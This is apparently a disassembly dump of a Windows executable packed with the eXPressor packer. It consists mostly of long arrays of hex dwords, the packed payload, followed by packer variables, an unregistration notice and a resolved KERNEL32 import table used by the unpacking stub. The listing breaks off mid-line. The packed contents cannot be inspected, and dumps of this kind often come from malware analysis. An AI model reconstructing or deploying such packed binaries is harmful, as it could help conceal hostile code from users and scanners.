0DB369DDBh dd 0B4F9B10Bh, 8A88C11h, 76BE0CB0h, 4C78F4D3h, 2EB9C2F0h dd 0B6ADA844h, 4D54BC80h, 6758B2A6h, 0B009EC8h, 6F841B9Fh dd 97B2920Fh, 9A20C888h, 0B997F7D4h, 78318E71h, 5BD8434Fh dd 8AA846F4h, 5138EF9Fh, 8765DFCFh, 11E99288h, 0E43F8754h dd 23D450F2h, 9282B130h, 0B8D64FF0h, 0D4F5A850h, 78147655h dd 4C451945h, 0C827066Dh, 4015F463h, 9DD49726h, 0FA3413E7h dd 585CB49Ah, 5B429FB9h, 0D4B6E137h, 0C4888132h, 3871D442h dd 7FBADE76h, 0D2651F94h, 22692D4Dh, 0F2C21347h, 7CCB2522h dd 2F9DEDEAh, 86D95F8Fh, 0A0598635h, 2816A847h, 0D2498C63h dd 4831FA0Ah, 353882B1h, 0DEF1AAF9h, 0FB4CE291h, 0FBC8CA4Fh dd 2FC7C15Bh, 9BD48429h, 0D9F4DCA5h, 0FD033BA4h, 7DE097B3h dd 0F0F23CAh, 18480A57h, 0DA3C3788h, 0CCA254Bh, 0FEC8606h dd 0FFDECA53h, 236EA275h, 0C2653DBDh, 9562C92Bh, 6E155E04h dd 0C553A727h, 0A3592E4Fh, 0C0C78725h, 0E9FD7AB2h, 607FE2BBh dd 0DCF8BD35h, 0B212848Bh, 71D899D5h, 0CC86D4C7h, 0CF867DECh dd 33F10A40h, 0A2AAB253h, 1E754C06h, 0A2DE31FDh, 0A8129883h dd 0FBE32603h, 0A4BB840Dh, 563A745Ah, 56E1426Eh, 71788C1Fh dd 94B676C7h, 371FE181h, 5408ECDFh, 9A9BF931h, 0D06954E1h dd 153226A2h, 40A0CF6Bh, 866362DAh, 0F48E350Fh, 0F0E60535h dd 5D73AD19h, 44ED4790h, 0DECE14E6h, 909A8109h, 9FFE217h dd 0D3A2B2E0h, 0FB46EAF7h, 8F34BA3Dh, 2FF8E98Eh, 9CB64837h dd 452D8199h, 0AD0CA2AFh, 1A6DC3C9h, 7203BDBFh, 0B93CEF69h dd 7F983A72h, 7922D1Eh, 569A40BDh, 50719C9Eh, 9D2DBB5Fh dd 0EED0096Fh, 46F110BEh, 6E91672h, 3161A321h, 99D67F4Ch dd 83893B5Dh, 0EF5AF6C1h, 0E94EEBC3h, 74063BC0h, 0A356CD09h dd 78891DDCh, 0A52D1333h, 355CFC6Bh, 5D360653h, 0FD2C14C3h dd 0ECB8DE58h, 0CF86C8F9h, 231A5B79h, 12C8EBDEh, 0D0009FF3h dd 1361C69Ch, 6BFD5040h, 41C2CC60h, 7620634h, 2C34E426h dd 7CD61528h, 0D78F0D82h, 6368CA55h, 4183F116h, 3DB81CF7h dd 49CDCB85h, 5AD7E4B5h, 0BA88E3D6h, 239C8F4h, 1A2911CEh dd 0E049454Eh, 631FBA82h, 0E4BD1Ah, 58EB0523h, 13BFBF74h dd 1FF4F399h, 0CC34AD87h, 84159BB2h, 0B966646Ah, 2F1946FAh dd 1F02FD4Bh, 0C4D0F30Ch, 0F932EA24h, 0B6809372h, 0D73F0748h dd 0D4AE1B8h, 0C2233A8Dh, 860EEDEAh, 504B1949h, 994A62A6h dd 6A15662Bh, 0F65E74Eh, 0F70CE4CCh, 0D97C605Dh, 6A99C7B7h dd 3627800Ch, 0DBE628B5h, 7E1BC300h, 1181574Ah, 459A05A7h dd 43CE592Ah, 0A1B36F57h, 659CF337h, 8D85F80Eh, 0B3536CF7h dd 0BFEB1DFBh, 9F62659Eh, 67FB6B42h, 0CA77A1F4h, 73844606h dd 0C89EA6E3h, 0D432F93Eh, 0BF262417h, 0C0073E1Bh, 1541F575h dd 48537606h, 3699302Ah, 529A7B26h, 42F15773h, 80149106h dd 390479B1h, 336EE239h, 2DDB48A1h, 978356E3h, 9193D53Dh dd 0A16FA5D5h, 0FD276897h, 493E5437h, 0F2F902FBh, 37C0127h dd 0BA1928B5h, 0B7265236h, 94FC7905h, 2B874F90h, 83087A0Eh dd 4C095003h, 0B3A94C19h, 0B66B560h, 43B1FF75h, 2F04F9Bh dd 3869B9FDh, 44A9B805h, 0A84ED5AFh, 530FC83Ah, 9271E705h dd 0A1C14416h, 0C1D0E9BFh, 33D3A59h, 1F6CB647h, 0AC8CFA2Ah dd 6E17A1F2h, 0AF58921Ah, 5015CD3Bh, 0F3DC174Eh, 80F8944Dh dd 71F5420Fh, 692DA9C8h, 0F28CCA72h, 68F0D788h, 34FBA7AFh dd 0D7EB9B23h, 82D44275h, 88388E35h, 0ACA181D7h, 0C00E9D27h dd 0CAB9CE68h, 600D89CDh, 799B995Bh, 261B9AFFh, 0CBCB9CEh dd 8A631C0Bh, 0C822589Dh, 880B4FB0h, 0C635D2E3h, 564397EFh dd 56046331h, 0A2B8869Eh, 0BD9F86F0h, 0F95E9A2Bh, 0D597E9BDh dd 7A6F216Dh, 7C9076Ch, 58D09918h, 3711D217h, 0B2AA2DD9h dd 27A92AE0h, 0F10A11Fh, 8C7B6B62h, 44780086h, 0DF8FD0D4h dd 4822A812h, 1BC789A6h dd 0AEFB0A9Bh, 0E238C3Dh, 69E6A6CBh, 42CB2A39h, 30C9BF85h dd 0F688EEAFh, 0ECCAC696h, 582F1101h, 0AFEC0A33h, 6FB2B17h dd 0AFFC58D7h, 12098282h, 63233B6Eh, 7680DF09h, 0D98B2076h dd 13107903h, 0A7990E46h, 0CC81ABCAh, 0FDABB06Eh, 3E47E157h dd 0B19E427Ah, 7BEEE8Bh, 0E3370301h, 0E651988h, 0AF2F1AB2h dd 0AC962E6Eh, 855F2E4Eh, 875862ABh, 85F88585h, 74077D56h dd 9FAA3A6Dh, 5AC53A7Eh, 5AE267FDh, 8299395Ch, 2E2CE7Bh dd 0BA6C0EDAh, 0C37C8DA8h, 2BB5E5DEh, 28471A79h, 0BCE29BBDh dd 94A3EA65h, 0F4D45258h, 129F8515h, 4D5F7E79h, 264F8781h dd 0DA292926h, 78941CE4h, 0E0F17D58h, 75FA5071h, 0A649F7A8h dd 0A226D71Ah, 32BEA143h, 0FEEA271Ah, 0A518F70Ah, 0A0C7759Eh dd 911C67A2h, 8A4E82FCh, 2F3A867Ch, 875B702Eh, 0EE249148h dd 9002A9D6h, 60116233h, 9E392A0Dh, 5FCB049Dh, 0E9359648h dd 4FAB12C8h, 6C7AF231h, 0ECA03069h, 28666EF9h, 38629516h dd 6B89ED2Fh, 0B96B52F9h, 85109F31h, 55C8626Eh, 0B3FDB889h dd 7E770458h, 580584DBh, 26AB876Dh, 9AED3E33h, 50FA5A7Bh dd 25E2A2B6h, 363BF24Ah, 0B8078DB9h, 832060D6h, 76517EFEh dd 7FD710D8h, 5D21B1D3h, 0B95C4F74h, 0A207684Dh, 163AD447h dd 0E155A064h, 352A2B4Eh, 0EAA6CFAEh, 34AAA4A7h, 166B4A3Fh dd 0C3EBFEEEh, 0DB0E9C6Dh, 0E8B8D351h, 82542B21h, 0EC98327Fh dd 0E8A37DADh, 85E8556Eh, 98C89ED5h, 5F8BAD61h, 0B9B390C3h dd 0A4AE9528h, 9FE37681h, 665B35A6h, 0AF35F15Ch, 8C0061FFh dd 4B12B300h, 0D0CD453Eh, 8F67C567h, 0EF31871Eh, 3BA7CD7h dd 52557B06h, 0A0BE9DB7h, 825574A5h, 72B4767Ch, 0FF7F048Bh dd 0FEB4E9F8h, 0ABB80E7Fh, 21D1886Ah, 5777D9DDh, 5F3B221h dd 0E4CB2B6Ch, 55B938FEh, 4206B39Ch, 859F7E37h, 8A231401h dd 13D5E262h, 0BD1952B6h, 8E48C9CCh, 70936BB2h, 4BED53E5h dd 7A6A4926h, 0FD8C2C3Ch, 943F7219h, 972525ACh, 2BC5513Fh dd 0A2100C62h, 0B60206FBh, 0D0AF081Ah, 0AB71F9E8h, 0B27E46C6h dd 0A96A96BFh, 9C602Dh, 0B04950CDh, 622E25DBh, 31246329h dd 0E7CF12A2h, 0E4A01CC2h, 78D9D66Fh, 323386D9h, 0FF749FF9h dd 3B717286h, 81793C6Ch, 93A77B36h, 0FFC656BEh, 2EB6E5ADh dd 0F44DFBC5h, 8628EF66h, 0AE573B2Fh, 384BA2EBh, 1A68D35Eh dd 0D14D5197h, 0F53DA433h, 8DC57D1Ah, 21B68570h, 36001B63h dd 90767EBEh, 2514A68Dh, 91EFD3C2h, 44CC31E8h, 0F8522F3Ch dd 0EEE6899Ch, 7BB21BFDh, 2028A6E6h, 7224E218h, 88C47261h dd 0E01A14E0h, 90B24158h, 3643213Eh, 15FA0AD8h, 0A9934201h dd 0C5EF9D40h, 7C19B901h, 3B8052A7h, 0C01FDD12h, 1ADA164Ah dd 0ECC867F0h, 70BBE71Bh, 4F72136h, 9C359D94h, 748C222Ch dd 0D1407A3h, 0F4FBB205h, 9BEBFF1Eh, 43D84996h, 2B2E2443h dd 7699A668h, 0A8DFE636h, 35B7BF18h, 0B2077361h, 0C587E149h dd 0AF4B4EE1h, 0FA530673h, 0F948D531h, 0AD820E12h, 0E32BD99Ah dd 0EBBE61A3h, 2050DB01h, 7F760459h, 675B0F27h, 9E0544C7h dd 0BEC41AC4h, 871415E1h, 2943621Ah, 8853888h, 1F9259Bh dd 4CC64533h, 5DFD9145h, 0F119F14Fh, 0DFC278CEh, 18D52DD0h dd 4476C687h, 2EFBC759h, 8E3B59B2h, 2653AD29h, 204C9365h dd 335D05C4h, 6CAABEA1h, 0E984FB1h, 28E47326h, 0AFCAFAA9h dd 2BDE4D2h, 65434C0h, 6E852692h, 60298120h, 877F207Dh dd 142C8362h, 0FF01921Eh, 94329478h, 9C471843h, 0F942EC42h dd 0D98E25Ah, 55B304E7h, 0A4F81BB0h, 15082167h, 0B4790AA3h dd 0C81563C2h, 1A0A8576h, 1D653322h, 0E32455EEh, 0D5F9B662h dd 6746B3A7h, 3D51D240h, 3DA158C1h, 0E415CB22h, 8A91E349h dd 0DD583E6Bh, 307613EDh, 9A9D2BAFh, 5A65DD5Bh, 94B1A1B2h dd 26C26B07h, 3CC8E67h, 9F3BDDCBh, 0B8D397AFh, 0FD63DD97h dd 9EF0CF64h, 35ADA958h, 89BFDDA8h, 0C10A2E4Ah, 9FF2E7AAh dd 3FEF8C82h, 0B3EB9D1Fh, 8F5B4DBDh, 27FFF706h, 0F0AF433Bh dd 3F7832A6h, 3CE5FF11h, 397A7409h, 0F7391C87h, 225D5EF6h dd 118DC4FCh, 0FCA9637Ch, 36416176h, 0BD5D5F75h, 0CFCBF29Fh dd 0B7411D71h, 0B1F7E240h, 5BB73561h, 97E2E0FBh, 0F0BCA959h dd 52D54AC8h, 472428ADh, 0AE9F769Fh, 0C6D7DFD6h, 84836DA3h dd 0A4B71862h, 78529421h, 979719ADh, 1DFD4569h, 57D04C34h dd 0D6529805h, 239B100Ah, 0B7B04BFDh, 0BB8D0CB0h, 36E01A0Bh dd 0C7FAC90Bh, 0D2FE52ECh, 3E0DC487h, 0DA78751Ch, 54B90CEEh dd 80DF623h, 0D57F4925h, 751FC7CAh, 598A4CD0h, 84CB437Fh dd 74A96A97h, 38D44C7Eh, 69E82B37h, 627D9B19h, 0D92258DBh dd 1776901Eh, 9127DE65h, 4FD24798h, 77C28A75h, 6F4D0458h dd 4FEC4F85h, 6E3CC9DAh, 7BD9B40Dh, 5CA7C074h, 75AFF43h dd 0C0930A02h, 985EB398h, 0F0046536h, 77B55EBAh, 7FD6CBCDh dd 6488C6EAh, 20624DF8h, 0A89B4630h, 0FC0FC13Dh, 984F7277h dd 5C841242h, 30AAF6Eh, 10CBA681h, 87A6ED13h, 0F88F2D19h dd 0E2B6EA2h, 0EC30DC3Ah, 5C1DDFC2h, 7D1EE7A7h, 5ECA782Dh dd 0F0310578h, 0AC672EB3h, 0EF4029D7h, 0A6BAFBEAh, 0F45F775h dd 0C0C7349Eh, 0D35B61Bh, 4BE63820h, 3262C101h, 39CA4CDAh dd 0D8A00D7Ah, 0D089BF63h, 0E87809BAh, 424EA2A8h, 0E1EEB37Bh dd 0FFD732BEh, 680ED054h, 921D7F66h, 24542088h, 5864C5E6h dd 7C3168ADh, 42612DE9h, 5CDE7557h, 1CEC1674h, 0B5358EBEh dd 35AE9D53h, 0FB2FABF1h, 4DA576E1h, 4D065639h, 60C24EA1h dd 0CE49A424h, 47806B37h, 9BC4BB4Ch, 917D2AF3h, 88C0C279h dd 72C29F18h, 2F5B7096h, 5D743B51h, 0A64CC60Ch, 4ADC08FCh dd 5AF198ECh, 6E636C60h, 188CA4BCh, 1D9A3D7Bh, 76C76D22h dd 0EA3E3A08h, 0D87D6FB0h, 21C5E38Bh, 27319D10h, 7D7B5F82h dd 59F84FE4h, 6F6FCD2h, 560058BAh, 0E89C74ECh, 0DA594A3Dh dd 63268C5Dh, 460B84A9h, 0EAF0E3FFh, 2989B30Fh, 0EEC6AD35h dd 0A68A333h, 216DF10h, 0C2D4AE6Fh, 6D11E84Bh, 0B1BA7ACCh dd 8613A818h, 41F44C59h, 94F5817Ah, 7A57B67Bh, 7EA2F779h dd 783DE230h, 0CC3CEFE4h, 0DE751C4Bh, 2D5461CDh, 81D0EE34h dd 0F4A889A3h, 2FE0C2DEh, 0AE1828E0h, 447A6A02h, 988974ACh dd 0BD2A7A4Ch, 0B6529217h, 55936BA9h, 0AE865C89h, 9F7A21D6h dd 1945F7FFh, 0A021BF48h, 3731D182h, 0D2F39121h, 983AEEE1h dd 0BAF606A8h, 0DE271F57h, 59BB8BC3h, 0BC61A9C6h, 4018C141h dd 30B7CE29h, 0B75EF18h, 4E0359D6h, 4AF8F3DCh, 7EC6DB28h dd 5959754h, 96DA1AEEh, 0B0C1B25Ch, 0EEBDC929h, 1A6C9867h dd 422258B9h, 0B8DBDED8h, 2F3AB132h, 0EB8B5A98h, 880D4F00h dd 7280A15Fh, 0C37A091Ah, 38F077BCh, 0FB4965F3h, 0B8C2E9A4h dd 3E5B9231h, 928BFCCh, 9019F0BDh, 905DA3F8h, 0C32E16FAh dd 10B1D7B0h, 0F7D2CA6Eh, 0DE7F89h, 6BB5D019h, 11D8DBDFh dd 406E7367h, 0F9675C7Fh, 684FA4ADh, 0A17622BDh, 0A7C841Eh dd 18B146ACh, 0F3E8BF35h, 49AFA636h, 3827A200h, 0D91E5545h dd 8EF8E39Eh, 0EF2E07E3h, 42B0806Bh, 4934730Bh, 1999F727h dd 0F5BD362Eh, 0EFDAF519h, 484DD65Ch, 4EA90BC6h, 3A50909Ch dd 693E3466h, 0A06DA092h, 0AC97AA03h, 0B4D58173h, 0F69F1C58h dd 769B4AE8h, 0B1021DF4h, 1E3F879Ch, 0FE71371Ch, 48A6571Eh dd 76A068E3h, 425F615Fh dd 99C91AEFh, 55916E04h, 955BD4B9h, 86B31AF4h, 6BEE1CA2h dd 5DECEEBEh, 1F841CDAh, 55E09CE5h, 35EDA105h, 0D0646EDDh dd 0D33FC428h, 0F7C53B01h, 0D15E595Ch, 0F3BA18FDh, 38DD2434h dd 942C7A78h, 0A5F69323h, 57D46C79h, 60A3D66Eh, 72C635AAh dd 23C03593h, 22AE247Eh, 6CEFFDCh, 1204CE1h, 4869A103h dd 587DC6E2h, 0D7CCCEA5h, 88BA90BAh, 5DDDDB0Ah, 1F12BB69h dd 90B2B53Eh, 486D838h, 5A529DC4h, 3D000D0Ah, 7DCE8FC0h dd 3E6C4DE6h, 9892335Fh, 57C5878Bh, 19523053h, 0A14B22DDh dd 367DF35Ah, 9C6FF6D3h, 0BB5078BCh, 16B6172h, 723D0D26h dd 0A9F04965h, 88D6290Ch, 1D048E56h, 753588D2h, 8FF3D982h dd 0FD6F296Fh, 0F9F7C898h, 0E7ED5A14h, 8A009A98h, 0D76F0F9Fh dd 0CC6B5D32h, 24677283h, 17315196h, 0A357DA14h, 8320F7C4h dd 109BB9E4h, 0C4BE727Ah, 3AD1D30Eh, 0E83B0365h, 0A8149624h dd 78B60C4h, 6E86C6FDh, 5781F4F2h, 0A73AB119h, 1DB001EEh dd 9FCA7B1Bh, 0A5382859h, 3E9DFCD4h, 9E94771Ah, 0FFFF1B72h dd 0E347B9Eh, 0C8C0777Ah, 7DB0F681h, 0F2379CC5h, 5F246177h dd 7C643849h, 0E90993EAh, 0CC369A8Ah, 0ECC4C0F0h, 0E3B9DF5Fh dd 0E2E5D441h, 6126D3FDh, 0F8282E0Fh, 0F20A08Eh, 0A811293Bh dd 0F5CCF32h, 83AEB777h, 22299BD1h, 0D0701852h, 0EC699D3Dh dd 0E3E4FA70h, 9D1725C4h, 9C8FA4EAh, 525E4B2h, 0E82D985h dd 0F07EADA1h, 0D853709Fh, 0B6A79FAFh, 0FD330FC0h, 0E6276695h dd 6D16A8B2h, 0ADEBB51h, 1EC77717h, 0A4D92C36h, 0D659855Eh dd 506C6A7Eh, 28874CB7h, 0F7F8B12Fh, 331102AFh, 0F9733D11h dd 3E41B830h, 0E311926Eh, 183F5694h, 3E332608h, 0C3BB8035h dd 934711F3h, 0D8A66F05h, 22655892h, 0B5128F89h, 8DECA6BFh dd 61C32377h, 8CA9880Bh, 96C9DF92h, 9828AFC9h, 0DE7659C3h dd 3F61E007h, 2491BBD5h, 119ED811h, 27589CE8h, 367E0DC2h dd 0C02CFEA2h, 0A8190D1Ah, 9DE396B6h, 1C0146B5h, 6139E6E1h dd 0E9FA6373h, 1E8641CAh, 24E6B0EAh, 55E659A5h, 1404B645h dd 0D2F2E29Fh, 11FAB5Eh, 0FA8E4127h, 3B4209AFh, 0CAA79D86h dd 93D7F116h, 545D21EBh, 38DB18DEh, 0B35833E7h, 1FF32A3Bh dd 0F0F2DADBh, 20C4CD2Ah, 9BDF9F0h, 1F79B88Dh, 9D4C64B8h dd 214C2B4Ah, 0E19FDC4Eh, 2FD6C117h, 5DB46FDBh, 8092C606h dd 0C1C2F88Ah, 0FF6340EFh, 8857BAD7h, 509FC832h, 0C0A23D0Ch dd 4BF15C28h, 0A653FD41h, 0EE64714h, 0FCB55427h, 0DD2D1519h dd 43C039F7h, 9B95BE6Ch, 988ED25Ah, 0A3E4E65Bh, 0F97BCEF4h dd 0E23C1055h, 0ADC18D75h, 0F5D85059h, 52620243h, 9F0BF6E9h dd 4DD451DCh, 253FB4D6h, 0D67B81Ch, 0E95698DCh, 0CE67B567h dd 5E8DECD2h, 0D052FE25h, 0AFF02978h, 8266D127h, 1C88DA2Dh dd 78FD64CCh, 0B2811279h, 8E1F0542h, 0BD8E764h, 0F183A40Bh dd 0D67790ECh, 9E2E2680h, 0DC666E1Eh, 0C3CCE03h, 2503B4A0h dd 0C5064CC5h, 0E05E7E49h, 0B5066E2h, 0DF8A3365h, 7CFDC6B4h dd 0AD06CFDDh, 0A2485E96h, 8F66576Eh, 411EB132h, 0F8368160h dd 29467D75h, 602FF995h, 414C45FAh, 9B491AFh, 0D857AB0Fh dd 38D0E08Ch, 0C2029216h, 0D782A385h, 0DDAF058Ch, 920405Ah dd 2887C874h, 7AB7E17Ah, 7263B140h, 82840E34h, 72C6B8E7h dd 2E2934D4h, 9DFA1D4Fh, 3CB92865h, 0BAEE4F05h, 9EB353DAh dd 0FABD3BBBh, 0AF42C295h, 7E11D8C5h, 3AA768C6h, 1ED220E4h dd 146701F4h, 3BE56548h, 0A77503F5h, 34BEEA95h, 8DD6011h dd 39FA605Ch, 88577F93h, 8DF7B512h, 0A60CBED0h, 88EE5B6Ch dd 2D2103FFh, 6470BC3Eh, 7E9545C9h, 66EE861h, 5EC50B1Bh dd 0C12E3730h, 0B6C39A3Dh, 0A6C9C859h, 0C347FC4Bh, 984D04BDh dd 0E88C946h, 0A6279E6Ah, 77C9EF73h, 0A6694E2Ch, 0CBFCB760h dd 2A0785E6h, 7AE838E2h, 8407CA8Ah, 6DC33ECEh, 9344A460h dd 0CF52C90Eh, 0D574FCB3h, 0E0C2C554h, 3719C9C7h, 2E995200h dd 0FF9B87DAh, 67777308h, 9558F926h, 6D9C4E74h, 0ACF084A1h dd 0FBC3237Ch, 1226D46Dh, 0F427D5BDh, 9BA8089Ch, 0EC1D5ABFh dd 81A64583h, 0A418851Eh, 89CB1FD2h, 0B9863705h, 0E5D632B8h dd 2A8C0E01h, 0A4AAB043h, 0D013F984h, 93651A21h, 444B490Dh dd 0AA51DFE2h, 0CEACD803h, 5C44D6Dh, 8E774C72h, 1F5581ACh dd 2548F867h, 84C63566h, 0C0852DB9h, 2F102F83h, 10376C91h dd 851B4381h, 8D37C1ACh, 9F4ACEDCh, 642ED09Fh, 5DE99E75h dd 0A81D73C5h, 7CB34D39h, 0DD0D9345h, 0CACD3FA6h, 0AF7257C5h dd 77E687B1h, 8EC253B6h, 53E20751h, 7D9001D9h, 6B5B0DD7h dd 9CECA52Ah, 0EF855169h, 0B199042Fh, 1B4224AEh, 3AD15188h dd 0BE11870Eh, 93B4B4B7h, 0E4C6382Fh, 0EFE31661h, 9C24B586h dd 5542B803h, 5050B232h, 41F970C4h, 0C075422Ch, 0B1C22E09h dd 0FED95FB6h, 0FB6FF61Fh, 7AD03281h, 6ABF3BC7h, 58430DEEh dd 4BF5F257h, 0F18A6602h, 0A42FD51Bh, 0D9EC4E2Fh, 8554E179h dd 76195EE0h, 0B1A6FF06h, 51F087A7h, 0A4D102Dh, 2DEDA4DAh dd 0F1AA1602h, 222CF4EFh, 0E421072Ah, 0C8B5C45Fh, 4709A519h dd 2AF51996h, 92742432h, 3E860499h, 6F06074Bh, 865E89F7h dd 0EF861715h, 79DE1DAAh, 0AC96083Ah, 6B6B3C6Dh, 85F32FBBh dd 0FE4C1601h, 0C4DD304Ch, 604E7BFBh, 752FFB9Fh, 404A1644h dd 7CBE48Fh, 0A300CC60h, 0E832F350h, 0F32BE5CCh, 0A94868BDh dd 135E2BADh, 6A32FF83h, 6F5A0F85h, 842C7A3Ch, 0E6B036F2h dd 0CFA19883h, 5A25F221h, 20DFC829h, 3EC6375h, 0F4BF4A2Bh dd 5EACBACAh, 7FE9FA85h, 0EB9FDCD0h, 0A82CDC04h, 8F7CF35Ch dd 0DFC56A37h, 8EE5569Bh, 55D9E4D0h, 67DCC30Bh, 0D1945DE5h dd 57D9591Bh, 5CEB14D8h, 15453471h, 11BEE91Dh, 93D32ECh dd 392452B7h, 0ACF33F63h, 34EA8960h, 628F3153h, 9F94DA8Ch dd 66DCCA77h, 555A8561h, 0E8886DC3h, 0BACAAF5Eh, 54631B10h dd 0D4719A6h, 4F4B1B9Dh, 6EBBBF37h, 1B41F2EEh, 507E58Fh dd 7FFAF326h, 4CDC184Bh, 0CE4089BCh, 981E22D8h, 0EAD91B28h dd 0CC3F4DAh, 0BD6016C6h, 9ACED9EAh, 5DEB44B1h, 0ACA4768Ah dd 5DE594E0h, 0F328973Ah, 2235E6h, 0E4494C2Ch, 0E714DCC0h dd 0EEBD250Dh, 0AA3C9377h, 0A9E7C193h, 1BD854Dh, 3B0FF246h dd 4B03BB5Eh, 0F51B6DBBh, 5A2A9D0Fh, 3CF9F4D5h, 0C2142B17h dd 58657AB9h, 34C99036h, 73434718h, 0FBFADF06h, 0E4CC2332h dd 0DB197E06h, 57AD27DAh, 68A6E4AFh, 9803708Eh, 0C94A9F29h dd 0F725933Ch, 0C48FC49Dh, 0AFCF7F2Ah, 83D70BE1h, 6D2BFD3Fh dd 36BEF09Eh, 94C43D60h, 0B8568FB7h, 0E79E8361h, 3ECFB7F0h dd 37D85156h, 0D9AAB1ABh, 46DDCEA4h, 0EF8B7904h, 0B5AE08E6h dd 83567A1Bh, 3F317C0Fh, 2F7FCFB0h, 0B7CA6148h, 5B0F2A24h dd 0EC8148BCh, 0A1841B9h, 0FFC7A7CCh, 7F0E99BAh, 0E013433Ah dd 96BF8722h, 15DCCBFh, 7E7E8267h, 0F231D07h, 0F96D9619h dd 43E5FFB6h, 7C8043C0h, 2EDBCE87h, 81746B91h, 0CAD83F1Ch dd 0B1FA17E2h, 0D68B80D4h, 0F82278B4h, 0A33B5104h, 5C14D23Eh dd 622BE167h, 8AC55916h, 358BADCBh, 0B27032C5h, 0EFB0F750h dd 3A7B162Ch, 63EDBF62h, 9EB6193Fh, 0A405BEA2h, 211A3CE9h dd 0CE2CC3Fh, 0C44C59BDh, 14BCD3A5h, 0A4151053h, 0C30CA2FCh dd 53FE5180h, 30BBF814h, 3C99553Ah, 0D5A5B2CCh, 3029B52Ah dd 6ACF6653h, 0F63C7FC3h dd 0A98079D9h, 0E412E319h, 564CEFB5h, 0BEE6DC9Dh, 0FC33E5D2h dd 0FF66318Ah, 42F711BBh, 194A4C66h, 60CBB162h, 4AF03C9h dd 0DC1D8414h, 8C7243B8h, 2596A4F6h, 0EA2E3431h, 0ECB1DD57h dd 0C41FC510h, 684689B4h, 87BEEFC7h, 71416A4Ah, 6E70F22Dh dd 8830C3D8h, 0B8EA2B27h, 67408826h, 9D8A5022h, 64ACC26Dh dd 0D76DF7C0h, 92469848h, 0A144FD59h, 0DC152B0Bh, 31A12702h dd 681364F8h, 0B28C527Dh, 0A3363A4Fh, 6A2F1A9Eh, 5C2758F1h dd 0DAE4FEBDh, 52716519h, 869F6E94h, 9B1598CCh, 86DA3583h dd 0E1FE474Dh, 0E9F12E07h, 11893089h, 0A7FC06AFh, 0B1C95272h dd 5BB0B725h, 53913982h, 49C3BCCDh, 6D79BBFFh, 690E3A15h dd 0A733CEF7h, 0AB7626E4h, 50798123h, 0B7ECC4F6h, 7B4ACD21h dd 0AA78E845h, 0B9257F50h, 8B386E92h, 58842C0Fh, 0A55A51BEh dd 6E3D5336h, 2B26C4C6h, 0BF901EB7h, 0AE098FBBh, 0E98F310Bh dd 98F23F01h, 3A4749A9h, 377B32EDh, 846D0503h, 2FA10945h dd 2CF03DDBh, 4F3103B5h, 0D9BBD20Bh, 0ADC7F401h, 975A6977h dd 99F4D42Fh, 2618DB38h, 0D50BD8FFh, 469ACA6Fh, 8E47203h dd 93CA4514h, 0EEF17C01h, 0ED46FB3Dh, 9205D313h, 6BCB15A5h dd 537C9ABh, 0DAA4F50Dh, 0B8CE602h, 0C2534BAEh, 167E5143h dd 7CE60CE2h, 6C5B4CF4h, 995798F4h, 70B2E2F8h, 0B3E0FAD4h dd 5114CC31h, 7DF91091h, 0C0E9D346h, 0AF86AEF7h, 0CE92DE0h dd 0F4005DE8h, 0EC28A1BDh, 0E70B9BDCh, 0FC6EF44Ah, 26DD3C77h dd 4FCFE0F1h, 0C8F05521h, 0BD6A4BFh, 49D4E851h, 47F17Ah dd 0B7CAD2B7h, 92D801FAh, 0D41EAD92h, 67D14735h, 9689BC0h dd 9C417876h, 6E8A23E6h, 175485ECh, 8022EFF5h, 767B4FDFh dd 14CD4691h, 93C2598h, 63FEC9A0h, 0D9B3D99Fh, 7D5AE24Dh dd 0D327A285h, 6FF44CADh, 78D904B5h, 1AD6E6BCh, 6B19358Fh dd 0D9210FEh, 6B018FE9h, 0A32D7044h, 76BA4A6Bh, 0FEDF0C2Ah dd 2951E4ACh, 0FD31B7A0h, 62D09C47h, 9AC8E866h, 0C8F563FFh dd 1243A255h, 9908B4B9h, 665CCD2Ch, 903BFBC0h, 3E0951C1h dd 0B1CAFAEh, 48B309B9h, 0EE3223DAh, 151E30E3h, 9A1351ACh dd 9B198B5h, 7D3D4C41h, 6ADB0F40h, 0E7B2E562h, 0FA6DB82Eh dd 7E4B2566h, 22CEBFB4h, 0D7357A0Eh, 94C958FEh, 0DBFF0A31h dd 36CBE7DBh, 0D087E4BDh, 0C0DA1E3Fh, 7B95EBEBh, 0E1A9C9CFh dd 407FA55h, 0B4F73962h, 3E1C1494h, 0AD11DA3Fh, 0F6C07BCEh dd 28AA07CEh, 22A674CBh, 9EE4A664h, 0E2A32F52h, 0CB5857A5h dd 0FFFFD9CDh, 8F682Dh, 3E8h dup(0) dword_42B000 dd 1200h ; sub_42B42C+70o off_42B004 dd offset dword_42C200 ; DATA XREF: sub_42B41Dr ; sub_42B42C+75w ... dword_42B008 dd 400000h ; sub_42B42C+131r ... dword_42B00C dd 1 ; sub_42B42C:loc_42B48Dw dword_42B010 dd 0 ; sub_42B42C+5F2r ... dword_42B014 dd 0 ; sub_42B42C+45r dword_42B018 dd 0 dword_42B01C dd 0 ; sub_42B42C:loc_42BA2Ar dd 0 aThisApplicatio db 'This application was packed with an Unregistered version of eXPre' ; DATA XREF: sub_42B42C+8Co db 'ssor.',0Ah db 'For registration, please visit www.cgsoftlabs.ro',0 aInfo db 'Info',0 ; DATA XREF: sub_42B42C+87o align 4 dd 2B0E0h, 2 dup(0) dd 2B1C4h, 2B10Ch, 2B104h, 2 dup(0) dd 2B1E0h, 2B130h, 10h dup(0) dword_42B10C dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_42B42C+287r ... dword_42B110 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_42B42C+171r dword_42B114 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_42B118 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_42B42C+558r dword_42B11C dd 7C801D4Fh ; resolved to->KERNEL32.LoadLibraryExA ; sub_42B42C+48Dr dword_42B120 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_42B124 dd 7C801AD0h ; resolved to->KERNEL32.VirtualProtect ; sub_42B42C+583r dword_42B128 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA align 10h dword_42B130 dd 7E45058Ah ; resolved to->USER32.MessageBoxA dd 2Eh dup(0) dd 8000005Eh, 19270000h, 0C802E089h, 0BE839EF3h, 41B6B11Bh dd 56237822h, 71BA0D54h, 68772094h, 0FC301F0Eh, 917A159Eh dd 7F0F3FE0h, 0DD5304FDh, 88809B8h, 949180h, 90EDFBh, 0C26387D0h dd 5DAEBB6Dh, 1EA6E26h, 98CBC360h, 7E1B00A6h, 0AD00C202h dd 